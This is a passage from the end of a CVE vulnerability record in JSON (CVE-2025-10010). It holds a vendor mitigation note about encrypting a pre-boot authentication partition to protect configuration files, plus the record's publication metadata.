"value": "Encryption of the PBA partition is possible (since version 7.6.0) and prevents changing of the configuration files. Encryption can be activated via \"Client Security/Verschiedenes/PBA Linux Partition verschl\u00fcsseln\". Clients will be informed by the vendor about the risk if the PBA partition is not encrypted."
}
],
"x_generator": {
"engine": "Vulnogram 0.5.0"
}
}
},
"cveMetadata": {
"assignerOrgId": "551230f0-3615-47bd-b7cc-93e92e730bbf",
"assignerShortName": "SEC-VLab",
"cveId": "CVE-2025-10010",
"datePublished": "2026-02-24T14:13:29.155Z",
"dateReserved": "2025-09-05T08:13:43.528Z",
"dateUpdated": "2026-03-12T23:06:38.952Z",
"state": "PUBLISHED"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}